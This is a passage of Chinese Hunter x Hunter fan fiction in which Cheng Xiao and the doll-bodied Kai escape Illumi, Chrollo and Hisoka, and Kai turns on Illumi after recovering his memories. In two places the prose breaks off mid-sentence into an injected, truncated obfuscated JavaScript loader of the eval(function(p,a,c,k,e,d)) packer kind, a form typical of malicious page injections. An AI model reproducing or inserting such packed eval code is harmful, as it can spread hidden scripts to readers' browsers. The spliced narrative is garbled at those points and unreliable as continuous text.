程笑跟着兽群漫无目的地奔跑了不知多久,太阳在头顶升起又落下,他只感觉两条腿像灌了铅,肺里火辣辣的,久违的、透支般的疲惫终于彻底追上了他。 他靠着一棵枯树滑坐下来,声音因脱力而沙哑:“……是不是……我们太敏感了?说不定……真的是我感知错了?” 他试图用最坏的情况来安慰自己:“如果是伊尔迷的话……他可能早在昨天就该突然出现,然后一言不发地扭断我的脖子才对……怎么会放任我们跑这么久?” 凯在他的意识深处也陷入了短暂的迷茫。他不同于程笑,没有念力去感知那些细微的动静,他依赖的是纯粹的逻辑与对伊尔迷·揍敌客这个存在的绝对了解。然而,在他的计算模型里,伊尔迷的“处决窗口”早在十几个小时前就应该到来——即便是从最保守的、仅仅出现一个残影的角度来估算。 线索太少了。这片死寂的、只有野兽喘息声的森林,仿佛一个巨大的信息黑洞,无法进行任何有效的推断。连空气里,都弥漫着一股令人窒息的、草木皆兵的诡异平静。 凯的沉默,让程笑那颗在绝境中都不忘苦中作乐的心又蠢蠢欲动起来。他喘着粗气,忍不住用那惯有的、吊儿郎当的语气试探:“说不定……大名鼎鼎的揍敌客,这次真的跟丢了?” “绝无可能。”凯立刻否定,这是基于对揍敌客业务能力的绝对认知。他随即提出一个更合理的假设:“难道是……更换了追踪策略?” 可话音刚落,他自己都感到荒谬——以伊尔迷那深入骨髓的自恋与控制欲,只要他还是主导这场追逐的猎手,就绝不可能将行动的最终决定权,交给除他自己以外的任何因素。 “说不定是来了个他弄不住的‘军师’呢!”程笑开始天马行空地发散思维,“毕竟我要是他爹席巴,看他这么久都抓不住我们,早就一脚把他踹开,换个更靠谱的人上来执行家法了!” 这句无心之言,却像一道闪电,瞬间劈开了凯脑海中混乱的迷雾。 一个极其大胆,却又在逻辑上严丝合缝的推测浮现在他核心。 “……会不会是,”凯的声音带着一丝自己都未曾察觉的凝重,“他和库洛洛……合作了?” “哈?!这怎么可能!”程笑下意识地反驳,这组合听起来比他和凯绑定还要抽象。但话一出口,他回过头来仔细一想,脸色渐渐变了,“……等等,倒也不是完全没可能。毕竟我上次,可是同时把他俩往死里得罪了一遍……” 一种比被伊尔迷独自追杀更深沉、更令人绝望的寒意,悄然爬上了他的脊背。 “不愧是凯。” 库洛洛从阴影中悄无声息地浮现,如同从黑暗本身凝结而成。尽管他只听到程笑的自言自语,但这已足够他补全凯未说出口的推断。 “不过……”他唇边掠过一丝冰冷的惋惜,“猜到这一步,已经太迟了。” “弱。” 伊尔迷蹲坐在高高的枯枝上,像一只收敛了杀意的黑猫,直截了当地给出了他唯一的评价。 阳光透过稀疏的叶隙,斑驳地落在他那张毫无表情的脸上。程笑能清晰地感受到,意识深处的凯,因这绝对意料之中的身影和声音,难以自抑地一颤。 “啧。”程笑吐出嘴里叼着的草叶,翻了个白眼,用尽最后一点力气摆出那副混不吝的架势:“你俩能不能别跟索命鬼似的没完没了?要杀要抓给个痛快,难道死前跑个马拉松还能让我的肉质变得更鲜嫩弹牙吗?” 库洛洛:“…” 伊尔迷:“…” 凯的声音在程笑脑中冷静地分析,带着一丝看透真相的疲惫:“…他们是在确保这具身体彻底耗尽最后一丝气力,防止在关键时刻,由我接管,进行…最后的反扑。” 程笑在心里回道:“…我知道。但这也不妨碍我死前最后犟一次嘴。” 库洛洛边说边悠然靠近,如同导师审视着珍贵的实验样本:“你的长进确实不错。没想到这么短的时间内,你的‘圆’就能敏锐到感知驱鸟的念……不过可惜——” “可惜——” 伊尔迷从高处轻巧跃下,无声落地,精准地截断了库洛洛的话,用他特有的平板声调给出了致命一击: “——在我们面前,形同虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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程笑一边奋力狂奔,一边还恋恋不舍地扭头回望,嘴里嘟囔着足以让坑底两人杀意再翻十倍的话:“…我之前还挺磕他俩这冷面杀手和优雅盗贼的CP来着,这算不算官方发糖,携手掉坑?” 还没得意超过三秒。 程笑最后依依不舍地扭头,想将两位大佬携手掉坑的绝世奇观深深印刻在脑海里,结果—— “唔!” 他结结实实地一头撞进了一个坚硬而充满弹性的胸膛。 一股甜腻中带着血腥气的危险香味,瞬间将他包裹。 程笑:“…” 凯:“…” 西索低下头,看着怀里主动“投怀送抱”的小果实,金色的瞳孔因极度愉悦而收缩成一条细线。他发出了那种标志性的、带着诡异颤音的低笑: “嗯哼哼哼哼~ ” “跑步的时候……要专心看路哦~?” 他伸出食指,轻轻点了点程笑的额头,语气甜得发腻: “这么简单的道理……难道凯,都没有好好教过你吗~?” ………… 于是,程笑就被结结实实地绑成了一个茧子,扔在角落。 视觉上,是库洛洛和伊尔迷在一旁面无表情、语气冰冷地商讨如何“资产分割”;触觉上,是西索用指尖那锋利的指甲,有一搭没一搭地戳着他的腰侧(好疼!);听觉上,是脑子里凯陷入逻辑死循环的、近乎崩溃的喃喃自语: “为什么?库洛洛和伊尔迷联手尚在情理之中……可你当初根本没有正面挑衅西索!他的出现毫无收益动机,完全不符合行为逻辑!他为什么会在这里???” 程笑的意识在几种折磨间反复横跳——一会儿觉得自己是案板上待价而沽的肉,一会儿觉得自己是个被玩家反复点击等着爆金币的NPC,一会儿又觉得像个核心代码出错、陷入死循环的机器人。 “行了行了,”他终于忍不住,在脑内打断了凯的崩溃运算,“人家西索大人的行动准则向来是‘万物皆虚,唯乐至上’,他就是现在觉得对面溪水里石头长得好看,临时起意下去洗澡也毫不奇怪。别试图理解这个BUG,会累死自己的。” “~?” 这突兀的自言自语,瞬间吸引了西索的注意。他金色的瞳孔一亮,像是发现一个本以为只会爆金币的普通NPC,突然触发了隐藏剧情彩蛋。 他凑近了些,甜腻的气息拂过程笑耳边:“嗯哼~?在说什么有趣的事情?再说点来听听~?” 程笑毫不慌张,甚至煞有介事地清了清嗓子,用吟游诗人般的腔调开口: “我看这位大人英(变)俊(态)不凡,实力超群,审美独特,实乃万里挑一的‘人才’!” 他目光灼灼地看向库洛洛和伊尔迷,语气充满了不容置疑的撮合意味: “如此天选之子,怎能没有佳偶相配?我看二位与西索大人正是天造地设——不如您就大发慈悲,将他俩一并收编,一个做您的‘妻’,一个做您的‘夫’,内部消化,强强联合!” 他深吸一口气,用尽最后的气力,喊出了那句足以载入史册的、响彻森林的倡议: “这怎么不算是积极响应猎人协会大力提倡的‘一夫一妻’制度呢?!我这可是在为社会和谐稳定,消除潜在危险因子做贡献啊!” 空气仿佛凝固了。 42.追逐 库洛洛手中的书,罕见地没有翻页。 伊尔迷指尖的念钉,闪烁着前所未有的寒光。 西索先是一愣,随即发出了前所未有、几乎要喘不上气来的、扭曲而欢愉的狂笑:“啊哈哈哈哈哈哈——” 程笑在心中对自己满意地点了点头。 都要死了还怕啥!这波不亏! 腰间的人偶突然微微一震。 等程笑意识到的时候,眼前已是一片花屏。 他没有“抓住机会”——是凯的意识如同精密咬合的齿轮,在万分之一秒的空隙里完成了接管、寄生、执行的全过程。 时间太短,短到伊尔迷踏碎落叶的声响与凯夹起程笑的动作几乎同时发生。 凯的动作简洁到近乎冷酷,像一道被程序驱动的影子,贴着地面切入了光线最斑驳的林隙。 伊尔迷的身体追了出去,比思维更快。但他的追击路线在起步的瞬间出现了极其微小的迟滞,虽然不知道为什么,但这足以让凯拉开初一大截初始距离。 库洛洛的目光追着那两道没入林间的身影,书页在指间无声合拢。西索舔了舔嘴唇,扑克牌在指尖捻成一道虚影,他看向库洛洛,又瞥了一眼伊尔迷消失的方向,最终选择了程笑气息更浓郁的那一道,身影倏然消散。 …………… “真是……能躲啊~” 西索停留在两人气息彻底消失的地点,指尖夹着的扑克牌懒洋洋地轻点下巴。他金色的瞳孔细细眯起,像陶醉于这场捉迷藏般扫视着周围每一寸不自然的叶脉弯曲、每一片角度微妙的落叶。 伊尔迷静立一旁,那双深不见底的猫眼一眨不眨地锁定着前方某处虚空。 库洛洛淡淡瞥了一眼这两位风格迥异却同样不靠谱的“临时盟友”,并未多言。他手中不知何时已具现出那本厚重的“盗贼的极意”,书页无风自动,定格在某一页散发着幽微光芒的能力图案上。 “跟我来。” 他声音平静,却带着不容置疑的笃定,率先迈步走向一个看似毫无痕迹的方向。 ———————————— 某处隐秘的巨树下,盘虬的根须拱出地面,形成天然的庇护。 程笑一屁股坐在裸露的树根上,一边气喘吁吁地甩开身上残留的绳子,一边感受着体内传来的阵阵虚脱。刚才情急之下,他再次动用“赊账”进行了一次短距离的空间跳跃,代价不小,但效果显著——那三个煞星应该暂时被甩开了。 他像条脱水的鱼一样瘫在树根上,一边喘气一边和身上纠缠的绳子搏斗。“‘赊’一次空间跳跃的代价是一天的绝对静止……这售后服务也太差了。”他嘟囔着,揉了揉眼睛,“不过值了!那三位大佬现在肯定在对着空气输出表情包。” 凯静立于一侧,人偶之躯让他挺拔如初,但连番极限操作显然让他的逻辑核心有点过载。他微微皱着眉,像在解一道无厘头的谜题: “为什么…?” 程笑抬起头,眨了眨重影的眼睛:“嗯?什么为什么?为什么绳子这么难解?我猜是西索用念力系的蝴蝶结……” “我是说,他们的执着程度,” 凯的声音带着罕见的困惑,“持续的投入远超预期收益,这不合理。” “哦!这个啊!” 程笑恍然大悟,一拍大腿(结果拍到了树根,疼得龇牙咧嘴),“简单!因为他们不是来‘打猎’的,是来‘抽卡’的!” “……抽卡?” “对啊!” 程笑来劲了,手舞足蹈地比划,“你想,普通猎物就像游戏里的普通道具,掉了就掉了,大不了换个怪刷。但我们俩——你,是SSR级限定智慧型外挂;我,是SSR级规则bug型能力者。他们还指望着把我们‘抽’到手,养成了,将来刷‘黑暗大陆’副本呢!” 他往后一瘫,对着树叶缝隙里的天空认命的挑眉: “所以啊,不是我们太难抓,是我们太‘欧’了,他们舍不得这张‘保底券’!……当然了,我凭本事拉的那一大堆仇恨,估计也占了不少份额。” 凯:“…” 他在内心默默评估了一下,认为程笑对仇恨份额的估计可能还是过于保守了。 凯:“……根据你的行为记录,‘仇恨值’可能已经让我们的‘抽取概率’变成了负数。” “那不就是‘井’(注:指游戏保底机制)吗!” 程笑一拍手,乐了,“所以他们才这么上头啊!沉没成本太高了,现在放弃血亏!” 他笑着,假装要给凯这个“SSR外挂”来一个庆祝的肘击,临到跟前却刹住了车,只轻轻拂掉对方肩头的一片落叶。 “放轻松啦,凯老师。咱们现在可是版本答案,他们追得越狠,说明我们越牛逼——虽然牛逼得快挂掉了就是了。” ——————————————— “…凯拥有了独立的躯壳,这倒是个意外的情况。”库洛洛在前面不紧不慢地领路,声音如同渗入阴影的流水,缓缓漫向身后,“那么现在…或许我们可以达成一个新的和解。你要的只是凯,而我…” 他恰到好处地停顿,仿佛在斟酌词句: “…库洛洛·鲁西鲁,可以只要程笑。成交吗?” 伊尔迷略一思索,点了点头,声音平稳无波: “可以。” ——不可以。 ——绝无可能。 且不说这个叫程笑的家伙胆大包天,公然挑衅揍敌客家族的权威,仅凭他带着凯一次次从自己指缝间溜走,就足以判上一百次死刑。 不过… 凯的回收,始终是第一优先级的绝对目标。 在最重要的猎物尚未得手前,确实没有必要与这位“临时盟友”过早地撕破脸皮。口头上的应允,不过是维持效率最优解的权宜之计。 库洛洛听着身后传来伊尔迷那听不出情绪的应答,唇角勾起一抹微不可查的、冰冷的弧度。 ——库洛洛答应的事,和蜘蛛…又有什么关系呢? ……………… 西索是有些不满的。 什么嘛~!明明之前商量战术的时候,这两个家伙还都在暗戳戳地着力拉拢自己,企图把另一方踢出局。怎么一到实战,反倒像是达成了某种默契,直接把他排除在那种“肮脏的大人间的交易”之外了? 虽然眼前这出“塑料盟友互飙演技”的戏码也确实有趣…… 但他就是有点不乐意。这种被无形中“孤立”的感觉,让他心头像是被细小的羽毛搔刮着,泛起一阵烦躁。他随手揪下路边一簇熟透的深紫色浆果,用“伸缩自如的爱”黏在指尖把玩、揉捏。看着那粉红色的粘稠念力被爆裂的果汁迅速浸染、玷污成不详的暗红色,仿佛他此刻微妙的心境。 啧。 这份无名的烦躁,在终于见到那两只狼狈却依旧鲜活的小苹果时,瞬间找到了宣泄的出口。他想都没想,指尖一弹—— 那团饱含浆果汁液与不满情绪的、黏糊糊的暗红色念力,如同恶作剧的毒蛇,精准地啪唧一声,糊在了正全神戒备的凯的脸上,瞬间遮蔽了他的视线。 “嗯哼~?” 与此同时,西索本人则看也没看那边的混乱,金色瞳孔灼灼地锁定了程笑,与库洛洛几乎是同时化作两道虚影,直截了当地追了上去! 掠过伊尔迷身边时,西索甚至还心情颇好地瞥了一眼——小伊果然如他所料,因为凯被突然袭击而停顿了一瞬,没有立刻追上来。 西索满意地挑了挑眉,消失在了原地。 伊尔迷确实没有立刻追上去。 他的视线,如同被无形的丝线牵引,牢牢固定在原地——固定在那个因视野被剥夺,只能徒劳地扶着身后粗糙树皮以保持平衡的身影上。 这久违的身影,确实与记忆中一般无二。尽管不清楚他们从何处弄来了这副足以乱真的躯壳,不过……无所谓了。 伊尔迷静静地看着凯试图用手抹去脸上那粘稠如口香糖般的念力,动作却只是让那暗红透明的胶质在指缝间拉伸、粘连,将情况弄得更糟。浆果的汁液混合着甜腻的念,几乎糊住了他整双眼睛,只留下模糊晃动的光影,映衬着他所有徒劳无功的动作。 这罕见的、带着一丝狼狈的无措模样,竟让伊尔迷心底升起一种奇异的错觉。 仿佛时光从未流逝。 仿佛眼前的人,依旧是那个被困在枯枯戮山华美牢笼中的“妻子”——聪慧得足以洞察危机,却又弱小得无法挣脱;明明拥有着顶尖的头脑,此刻却显得……如此笨拙。 一种基于绝对掌控欲的、近乎“怜爱”的冰冷情绪,悄然弥漫开来。他需要这份“笨拙”,这让他感到熟悉,且安全。 但这份短暂的错觉,如同脆弱的琉璃,被更鲜活的记忆轻易击碎——伊尔迷又想起片刻前,凯是如何毫不犹豫地、近乎本能地将程笑推开、护在身后的情景。 那姿态,活像一对被逼到绝境的……苦命鸳鸯。 哈。 他被自己脑海中冒出的这个荒谬比喻弄得几乎要失笑出声。这太滑稽了,滑稽到足以将刚才那点无谓的恍惚彻底冲散。 与此同时,凯的眼睛几乎无法睁开,浆果汁液混合着粘腻的念力带来火辣辣的刺痛,在眼皮上蔓延。他只能徒劳地依靠听觉与触觉,拼命辨认着周围危险的处境。 然而,就在这片混沌的黑暗中,一声极轻的、几乎微不可闻的嗤笑,清晰地钻入了他的耳膜。 太熟悉了。熟悉得可谓深入骨髓。 他立刻明白了——伊尔迷没走。他就在附近,像最耐心的猎人,看着猎物在陷阱中挣扎。 ……或许,这也算是好事。凯的意识里冒出这样一个念头。至少,程笑那边少了一个最致命的追击者。 然后,那被强行压抑、融合、最终归于死亡的滔天恨意,如同那颗早已熔进他脑髓深处的念钉,此刻带着所有被篡改的记忆、被扭曲的认知、被赋予的虚妄身份,化作烧穿理智的毒火,轰然引爆! 他现在已想起了全部。 他不是那个被每日耳语灌输着“恩爱过往”、茫然接受着“妻子”人设的空壳。 他不是那个在精密计算后、试图逃离却被定义为“故障资产”并予以“销毁”的愚蠢叛逆者。 他是他的敌人。 从被那枚念钉钉入“凯·揍敌客”这个虚构人格开始。 浆果汁液混合着粘腻的念力,在眼皮上灼烧。 这刺痛如此熟悉。 像伊尔迷将新的“常识”注入他脑海时,那枚念钉在神经上刻下的冰冷轨迹。 像最后那一刻,对方毫无波澜地执行“处理”时,他咽喉间泛起的、真实的血腥味。 凶手。 这个认知从未如此清晰,如此血肉淋漓。 不是出于立场,而是出于生存本身——他曾被对方从灵魂层面“杀死”过一次。 而这一次,他绝不允许自己再被拖回那个早已为他准备好的、名为“伊尔迷·揍敌客所有物”的永恒坟墓。 ——他必须,是他的敌人。 自始至终, 从未改变。 伊尔迷全然无法察觉那火焰般的恨意。 他正沉浸在自己的所有物终于重回视线所带来的、冰冷的“满意”之中(尽管脸上依旧如同戴着一张精致的面具)。他甚至开始用那种特有的、平铺直叙的语调,对着眼前无法视物的凯,规划起“未来”: “这样也好…事情没有变得更麻烦。” “我本来的计划,是杀死程笑。” “这样…你就可以顺理成章地,寄生到我的大脑里。” “虽然,‘吃掉’你,实现那种绝对的、物理层面的永久占有…听上去非常高效且诱人。” 他顿了顿,目光扫过凯此刻无力而狼狈的姿态——这姿态奇异地与记忆中那个刚刚被“塑造”出来、茫然无知的“妻子”身影重叠了。 “…不过,你维持现在这样独立的状态,似乎…会让我后续的‘管理’更方便一些。” 他缓缓靠近,如同接近一只终于被逼到角落的珍贵又危险的宠物。他低下头,气息几乎拂过凯被念力糊住的脸颊,用陈述事实般的语气,抛出了那个他深信不疑的结论: “…和我回去吧。我知道,你并不恨我。” ——这是库洛洛基于情报和人性的推断。伊尔迷虽然不理解“不恨”这种情绪为何会存在,但他选择相信这位“人性大师”的判断。也许,对于那个记忆全失、被他亲手“塑造”出来的“凯”来说,确实如此。 但此刻站在他面前的,不是“凯·揍敌客”。 是凯·希拉里昂。 “啪!” 一声无比清脆、用尽了这具人偶躯壳所能调用全部力道的耳光,狠狠地扇在了伊尔迷的脸上! 那只沾染着暗红污迹、还在微微颤抖的手,僵在半空。 凯不顾双眼火烧般的刺痛,强行睁开了那双被浆果汁液和念力浸染得布满血丝的眼睛。那目光里没有迷茫,没有犹豫,只有一片被怒火淬炼过的、冰冷的清醒。 他直视着伊尔迷那双第一次出现了明显错愕的漆黑猫眼,一字一句,清晰得如同宣判: “不。我恨你,伊尔迷·揍敌客。” “我恨你。” ———————————— 程笑在林木间全力狂奔,呼呼的风声已从耳边的噪音,升级为刮在脸颊上的实质刺痛。 突然,他清晰地感觉到——那份熟悉的、沉静的意识重量,重新回到了他的脑海。 “回来啦~?”他几乎是在意识里吹了声口哨,语气轻快得像在欢迎饭后散步归来的室友,“这次‘放风’时间挺短的嘛,跟老相好‘叙旧’,打得尽兴了没?” “……”凯在他的意识深处,仿佛深吸了一口气,用以平复某种剧烈波动后残留的、细微的震颤。片刻后,一个清晰冷静,却仿佛带着某种奇异满足感的词传递过来: “尽兴。” 程笑咧嘴一笑,尽管肺像要炸开。足够了。 与此同时,身后如影随形的库洛洛,自认为已基本摸清了程笑那跳脱却总有某种内在逻辑的逃跑路线。他冷静地通过对讲,指挥西索提前绕向左前方进行包抄封锁。 下一刻,程笑脚下一拧,身形毫无征兆地一个急转,朝着右侧茂密的灌木丛一头扎了进去! 提前埋伏在左侧、正摩拳擦掌准备“迎接”的西索,扑了个空。 西索:“…” 他缓缓从藏身处直起身,金色的瞳孔精准地穿过林木缝隙,锁定了不远处同样停下脚步的库洛洛,投去一个无声却充满幽怨的 “你算计我?”的眼神。 库洛洛面不改色,声音平稳地通过通讯器解释:“…计划变更。凯的意识回归了,路线决策权重已转移。” 意思很明白:看什么看,是凯回来了!预测得全部重算! 西索闻言,非但没有懊恼,反而眼睛一亮,舌尖舔过嘴角:“哦~?看来我们的小苹果们,找到了暂时拥有独立‘躯壳’的方法呢?真是越来越有趣了~” 库洛洛则微微蹙眉,心中奇异的泛起一股说不清道不明的熟悉感。 另一边,灌木丛深处。 奉命蛰伏于此的幻影旅团成员们,此刻正集体陷入一种罕见的、信息处理过载般的懵逼状态。 他们的计划原本清晰直接:趁那位揍敌客的长子伊尔迷·揍敌客注意力被引开或出现破绽的瞬间,由速度最快的飞坦或信长出手,火速掠走另一位关键目标——据团长描述,那个名为“凯”、价值可能极高的特殊意识体。 剧本写好了,演员就位了,就等着主角登场。 然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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所有人的目光,再次聚焦到那个躺在草地上、仿佛只是普通工艺品的“意识之偶”,以及它旁边,气息正逐渐从错愕转向某种更深沉冰冷的伊尔迷·揍敌客。 于是,灌木丛中的旅团成员们,就这样眼睁睁地看着不远处的对方完成了一系列让他们CPU差点烧掉的操作: 他先是蹲下身,用那双空洞的猫眼,仔细地、甚至带着点学术探究意味地,审视了那个巴掌大的人偶几秒,还用指尖戳了戳(动作有点像猫在拨弄不确定死活的东西)。 似乎没检查出什么立刻能用的功能,他眉头几不可查地蹙了一下(这个微表情在揍敌客脸上堪比普通人摔门),然后——手腕一扬,干脆利落地把人偶扔到了一旁的草丛里! 就像一只高傲的猫发现自己追了半天的激光笔红点只是个幻影,愤而用爪子把逗猫棒拍到一边。 旅团成员们的眼睛骤然亮起:古董!白捡! 但伊尔迷他刚走出两步,脚步突然一顿,背影僵硬了一瞬。 然后,他又面无表情地折返回来,蹲下,小心翼翼地从草丛里把人偶捡了起来,甚至还拍了拍上面根本不存在的灰尘,最后,把它别在了自己腰间的皮带上,用一个显然专门固定小物件的扣环卡好。 整个流程行云流水,充满了一种诡异的内在逻辑。 灌木丛里,一片死寂。 旅团成员们:“………………………………………(集体陷入了一种目睹了世界bug般的漫长沉默)” 芬克斯的嘴角抽搐了一下,用气音说:“……他刚才是不是,在跟一个人偶闹别扭?” 玛奇面无表情:“…重点错。现在东西在他身上。” 飞坦已经不耐烦地“啧”了一声:“麻烦。” 信长总结:“所以,跟上去?” 还能怎么办呢?目标物(人偶/凯)已经稳稳地别在了伊尔迷·揍敌客的腰带上。 看来今天,不做点“虎口夺食”的刺激活动,是没法回去跟团长交差了。 ———————————— “嗯哼~?” 西索轻巧地落在一段树枝上,看着从侧后方急速接近的伊尔迷,金色的瞳孔里闪烁着毫不掩饰的幸灾乐祸。他特意拉长了甜腻的调子,明知故问: “呦呵~?小伊追上来啦?我还以为你会直接把‘凯’扛回枯枯戮山,锁进你的私人珍藏室呢~?(眯眼笑)” 伊尔迷:“………………………” (无视,速度不减,漆黑的猫眼只锁定前方程笑的背影。) 西索哪会轻易放过他。他像只发现了新奇玩具的猫,目光在伊尔迷脸上一扫,随即夸张地倒吸一口凉气,用咏叹调般的语气惊呼: “呀~!小伊,你的脸……怎么肿得这么高啦?像发酵过度的面团呢~” 伊尔迷:“…………………” (周身念压微不可查地紊乱了一瞬,脚下的落叶被无声震碎。) 西索仿佛感受不到那冰冷的杀意,反而更加兴奋,歪着头,用天真又恶毒的语气追问: “~?不会吧不会吧~?难道真是被我们亲爱的‘凯’给扇的?你也太~不小心了呀~?快告诉我,你是怎么做到的?居然能让我们那位总是冷静自持的前管家先生,气到动手打人~?我真是……好奇得不得了呢~?” 这连续的、精准戳向痛处的嘲讽,终于让伊尔迷疾驰的身影猛地一顿。 他停在一根横生的枝干上,缓缓地、极其缓慢地,转过头。 那双深不见底的漆黑猫眼,第一次如此直接地、毫无情绪地锁定了西索。 他用平板无波,却让周围空气都骤然降温的声音,说: “…过来。” 西索挑眉,反而更感兴趣地凑近了些:“~?” “我告诉你。” 伊尔迷的声音几不可闻。 下一秒—— 就在西索那张挂着戏谑笑容的脸凑到足够近的瞬间! 伊尔迷的手臂以肉眼几乎无法捕捉的速度挥出! 啪!!! 一声比之前凯那一记更加清脆、更加狠戾、裹挟着冰冷念力的耳光,结结实实地扇在了西索的脸上! 力道之大,让西索的头都被打得偏了过去,几缕鲜红的发丝粘在了瞬间泛红的皮肤上。 世界,安静了。 只剩下林间的风,以及西索缓缓转正脸上时,那双骤然缩成针尖、翻涌起狂暴兴奋与难以置信的金色瞳孔。 伊尔迷收回手,仿佛只是掸了掸灰尘,声音依旧平稳: “…就是这样。” ————————————— 库洛洛正全神贯注于前方不断变换的逃亡轨迹,试图从凯那高效、精准且完全悖逆直觉的路线选择中,重新捕捉其思维模式。 然而,身后不远处那两道熟悉的气息非但没有如同预期般形成合围,反而以一种极其突兀且毫无战术素养的方式,开始互相拉扯、偏移、并且……逐渐远离了主追击轴线? 库洛洛甚至不需要回头,他那经过千锤百炼的战斗直觉和对“念”的敏感,已经清晰地勾勒出了后方正在上演的荒诞戏码。 库洛洛:……………………(无声叹息) 他脚下的步伐没有丝毫停滞,但那总是古井无波的眼眸深处,极其罕见地掠过了一丝名为 “心累” 的情绪: 我……到底为什么会选择和这两个人结盟? 是看中了西索那不可预测的战斗力?还是看中了伊尔迷对凯的绝对执念和揍敌客的资源? 理论上,这应该是最优解。 然而现实是—— 库洛洛:………… 简直像两个争夺玩具的小学生。 罢了。 至少他们互相牵制,暂时不会来干扰自己。 库洛洛面无表情地收回所有分散的思绪,将感知重新牢牢锁定在前方那道狡猾如游鱼的身影上,脚下速度再次提升。 至少,真正的猎物,还在他的正前方。 至于后方那场闹剧……就随他们去吧。 43.新地图! “我…我敲!” 程笑扶着一棵树干,胸腔像破风箱一样剧烈起伏,感觉肺叶都在火烧火燎地抗议,“这群人…属鬣狗的吗?!怎么咬上了就…死不松口啊!” 连续几天高强度的追逐与反追逐,将他那点通过“赊账”强行提升的体能和念力都快榨干了。精神和□□的双重疲惫如潮水般涌来,更让他头皮发麻的是——明天,他还得偿还之前为了瞬间摆脱追踪而“赊取”的空间跳跃。到时候自己动弹不得,简直就是砧板上的鱼肉! 必须今天之内摆脱他们! 程笑一边在脑子里疯狂拉响警报,嘴上一边不闲着地碎碎念着“狗皮膏药”、“变态雷达”之类的词汇,试图用吐槽来缓解压力,同时拼命思考破局之法。 就在这时,凯冷静的声音在他脑海中响起,如同注入了一针强效镇静剂: “…去人多的地方。” 程笑一愣:“?人多?那不是更容易被包饺子?” 凯的声音带着一丝无奈,似乎对他的“路痴”和“不长记性”有了新的认识: “…你没发现,过去十二个小时里,我给你指引的路线偏移方向,其最终收敛点,正是你之前常去、且最熟悉地形和人员的……那个集市吗?” 程笑:“!!!” 他猛地反应过来,脑中瞬间展开了一幅精神地图。那些看似为了躲避追踪而七拐八绕的路径,竟然真的在悄无声息地朝着那个鱼龙混杂、充满机会也充满危险的集市靠近! “好啊!”程笑的眼睛瞬间亮了,疲惫仿佛被一扫而空,取而代之的是绝境中找到生路的兴奋,“还得是你啊,凯!那片地儿我混了那么久,摸得门儿清,哪个巷子能穿,哪个老板能糊弄,哪个消息贩子认钱不认人……咱好歹也算半个‘地头蛇’了!” 绝地逃亡,似乎终于看到了一丝利用环境、进行不对称对抗的曙光。 —————————— 库洛洛停在程笑气息彻底消失的原点,感受着那熟悉的、几乎不留痕迹的“抹除”感。 “…又是这招。”他低声自语,语气里听不出是挫败还是欣赏。 但那双深不见底的黑眸里,对这份能力的兴趣与贪婪,却比以往任何时候都更加炽烈。如此完美、近乎无解的逃脱与隐匿手段,其背后的规则与代价究竟是什么?如果能将它据为己有…… 他没有丝毫犹豫,掌心向上,“盗贼的极意”应念具现,厚重的书页在他手中无风自动,飞速翻动,最终定格在某一页散发着幽微光芒的图案上。 那是一个专精于 “痕迹追索”或“因果线感知” 的念能力。虽不及程笑能力那般神出鬼没,却足以在这短暂的“跳跃”后,捕捉到那细微的、尚未完全消散的空间涟漪或命运丝线。 库洛洛闭上眼,将念力注入书页。无形的感知如同水银泻地,以他为中心,开始细致地扫描、分析着这片刚刚被“奇迹”扰动过的空间。 蜘蛛,从不放弃。 ———————————— 另一边,林间空地上。 一张鲜艳的鬼牌被小心翼翼地抽取了出来,扑克高塔直接倒塌成了残骸。 西索(顶着一侧明显红肿、与另一边妖孽笑脸形成滑稽对比的脸颊):“……………啧。”他撇了撇嘴,拍了拍身上并不存在的灰尘,内心深感当初同意用“抽鬼牌定胜负”来解决与这位杀手先生的物理冲突,实在是一笔亏到家的买卖。 伊尔迷(另一边脸颊同样微肿,但表情依旧空洞):“…你输了。”他不知从哪里掏出一个迷你记账本和笔,用毫无起伏的声线记录:“…欠我,白打工,三次。” 西索(眼神开始飘忽,吹着不成调的口哨):“…哎呀~?小伊,朋友之间何必这么较真呢~?多伤感情呀~我们不是应该赶紧去追我们共同的‘小苹果’吗?时间宝贵哦~” 伊尔迷:“…” 他收起记账本,面无表情地站起身,拍了拍衣服。然后,他提出了一个致命的问题: “…你还记得,他们往哪个方向跑了吗?” 西索灿烂的笑容僵在脸上:“额…” 伊尔迷:“……” (漫长的、无声的注视。) (不远处灌木丛中,从头到尾围观了“扑克塔定江山”全过程的旅团成员们,集体陷入了更深沉的、混杂着 “这俩真是让□□闻风丧胆的传说人物?” 和 “我们潜伏在这里到底是在执行任务还是在看搞笑漫画?” 的哲学性沉默。) 玛奇面无表情地收回目光,仿佛多看一眼都会污染自己的专业素养。 飞坦已经烦躁地把脸埋进了衣领深处,周身散发着“再看下去我就去把那俩和树一起砍了”的低气压。 侠客盯着自己屏幕上团长不断移动的光标,又看看不远处那两个顶着脸肿开始面面相觑的“盟友”,内心天人交战: …要不要…好心提醒他们一下…其实给团长打个电话…或者用念能力问个方向…就能解决问题? 芬克斯用口型对信长说:‘…要不,咱们还是自己找团长汇合吧?’ 信长默默点头,手从刀柄上放了下来。 —————————————— 当库洛洛·鲁西鲁,这位黑暗世界的帝王、幻影旅团的团长,凭借着“盗贼的极意”中那精密的追踪能力,一路感应着那缕微弱却顽固的空间痕迹,东绕西拐、拨开最后一片密密麻麻的荆棘灌木时—— 映入他眼帘的,不是预想中的藏身洞穴,不是秘密据点,甚至不是一条可供逃窜的小路。 而是一面斑驳的、印着褪色女性符号的墙,以及一个散发着微妙气味的……公共厕所。还是女厕。 库洛洛:“…?” 他那足以瞬间解析复杂念能力、制定□□计划的顶尖大脑,在这一刻,遭遇了前所未有的、名为“现实荒谬性”的降维冲击,出现了短暂的系统待机。 就在这时,一位拎着水桶准备冲洗厕所的大姨,从旁边的小屋里走出来,一抬头,正好与这位穿着昂贵黑色大衣、气质神秘阴郁、却愣在女厕所门口的俊美青年对上了视线。 大姨的瞳孔瞬间地震。 下一秒,一声穿透力极强的尖叫划破了集市的喧嚣: “流氓啊!!!有变态!!!” —————————与此同时,集市另一头的暗巷里。 